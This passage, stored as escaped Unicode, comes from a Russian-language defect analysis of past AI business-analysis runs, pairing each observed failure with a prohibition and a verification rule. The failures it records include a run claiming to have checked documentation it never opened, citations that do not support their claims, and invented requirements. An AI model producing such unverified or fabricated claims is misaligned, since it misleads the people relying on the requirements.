\u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u043f\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 metadata | 27 | \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d; \u0432 Git \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d. |\\n| Run \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430 | 23 | \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 outputs/logs; \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 gap list. |\\n| \u0414\u0438\u0430\u043b\u043e\u0433\u0438 issue #605 | 2 | \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b BCREQ-1104 \u0438 BCREQ-1106. |\\n| \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 | 1 | \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438; \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0432. |\\n\\n`RUN-0030`\u2026`RUN-0055` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c: \u0438\u0445 \u043f\u043e\u043b\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\\nGit-\u0434\u0435\u0440\u0435\u0432\u0435, \u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432 `metadata.yaml`. `RUN-0061` \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443.\\n\\n### \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n\\n1. **\u041e\u0448\u0438\u0431\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 FR.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: RUN-0016, RUN-0020,\\n   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n   \u043e\u0442\u043a\u0430\u0437\u044b \u2014 grounding, scope, state \u0438 classification.\\n2. **Citation \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: \u0432\\n   RUN-0024 \u0438 RUN-0026 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b\u0438 \u0432\u044b\u0432\u043e\u0434 \u043b\u0438\u0431\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u0431\u044b\u043b\u0438\\n   \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b; \u0432 BCREQ-1104 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u0431\u044b\u043b\u0438\\n   \u043d\u0435\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e.\\n3. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e FR \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0435 \u043f\u043e\u043b\u0435 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.**\\n   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n   \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c \u0441 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438.\\n4. **TM Forum \u0434\u0430\u0451\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 FR/UC/NFR.** \u041d\u0435\\n   \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e. TM Forum \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 capabilities, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 ODA-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442;\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442 \u0438 \u0438\u0445 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\\n   [ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen),\\n   \u0430 \u0442\u0438\u043f\u044b FR/NFR \u2014 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439\\n   [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary).\\n\\n## \u041d\u0430\u0445\u043e\u0434\u043a\u0438: \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n\\n\u041a\u0430\u0436\u0434\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e debug-\u0444\u043e\u0440\u043c\u0443: \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f, \u0444\u0430\u043a\u0442, \u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u043e\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e. `\u0417\u0430\u043f\u0440\u0435\u0442` \u2014 \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u0432\u043f\u0440\u0430\u0432\u0435 \u0434\u0435\u043b\u0430\u0442\u044c;\\n`\u041f\u0440\u0430\u0432\u0438\u043b\u043e` \u2014 \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c.\\n\\n| ID / \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0417\u0430\u043f\u0440\u0435\u0442 | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- |\\n| `EVID-01` grounding | RUN-0026 \u0437\u0430\u044f\u0432\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 `extract_page_success=[0,0,0]`; \u0442\u043e\u0447\u043d\u0430\u044f UI-\u043c\u0435\u0442\u043a\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u0430 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb, \u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438\u043b\u0438 \u0442\u043e\u0447\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443, \u0435\u0441\u043b\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442. | \u041a\u0430\u0436\u0434\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 `source_ref`, \u0442\u043e\u0447\u043d\u044b\u0439 anchor \u0438 `retrieval_status=read`; \u0438\u043d\u0430\u0447\u0435 \u0442\u043e\u043b\u044c\u043a\u043e `hypothesis` \u0438\u043b\u0438 `open_question`. |\\n| `EVID-02` citation | RUN-0024 \u0434\u0430\u043b \u0442\u0440\u0438 \u0441\u043d\u043e\u0441\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0438\u043c \u0444\u0430\u043a\u0442\u044b; \u043e\u0434\u043d\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u043e\u0448\u043b\u043e \u0434\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u0442\u0435\u043a\u0441\u0442\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435 URL \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c entailment. | \u0413\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u0440\u0443 `claim \u2194 excerpt`, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e `claim \u2194 goal/boundary`; \u043e\u0431\u0435 \u0441\u0432\u044f\u0437\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. |\\n| `EVID-03` attachment | RUN-0016 \u0441\u0441\u044b\u043b\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 CDN-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c run. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 attachment \u0437\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e SSOT. | Evidence \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 checksum \u0438\u043b\u0438 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443; \u0438\u043d\u0430\u0447\u0435 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f gap. |\\n| `REL-01` relevance | BCREQ-1104 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u043b \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e speech analytics, TTS \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0438\u0433\u043d\u0430\u043b\u0430. | \u041d\u0435\u043b\u044c\u0437\u044f \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0444\u0430\u043a\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437-\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u043e\u0432 \u00ab\u0437\u0430\u043f\u0438\u0441\u044c\u00bb, \u00ab\u0437\u0432\u0443\u043a\u00bb \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f. | \u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u043a\u0442\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b `goal_refs`, `system_boundary`, `product_binding`, `relevance_reason`; keyword match \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d. |\\n| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n| `SCOPE-02` invented scope | RUN-0016 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u0440\u0435\u0436\u0438\u043c \u0438\u043d\u043a\u043e\u0433\u043d\u0438\u0442\u043e, \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u0432\u043a\u043b\u0430\u0434\u043a\u0443 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438; RUN-0064 \u043d\u0430\u0448\u0451\u043b \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 XLSX \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u041d\u0435\u043b\u044c\u0437\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u043e\u043b\u044c, \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044e, \u0444\u043e\u0440\u043c\u0430\u0442, \u043b\u0438\u043c\u0438\u0442 \u0438\u043b\u0438 entitlement \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0436\u0438\u0432\u0451\u0442 \u0432 `solution_option`/`open_question`, \u043d\u0435 \u0432 FR/NFR. |\\n| `FR-01` wrong level | BCREQ-1104/1106 \u0438 \u0440\u044f\u0434 chat exports \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u043f\u043e\u043b\u044f, \u043a\u043d\u043e\u043f\u043a\u0438, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 FR. | \u041d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c UI control, \u043f\u043e\u043b\u0435, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0448\u0430\u0433 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f, API-\u043c\u0435\u0442\u043e\u0434 \u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e 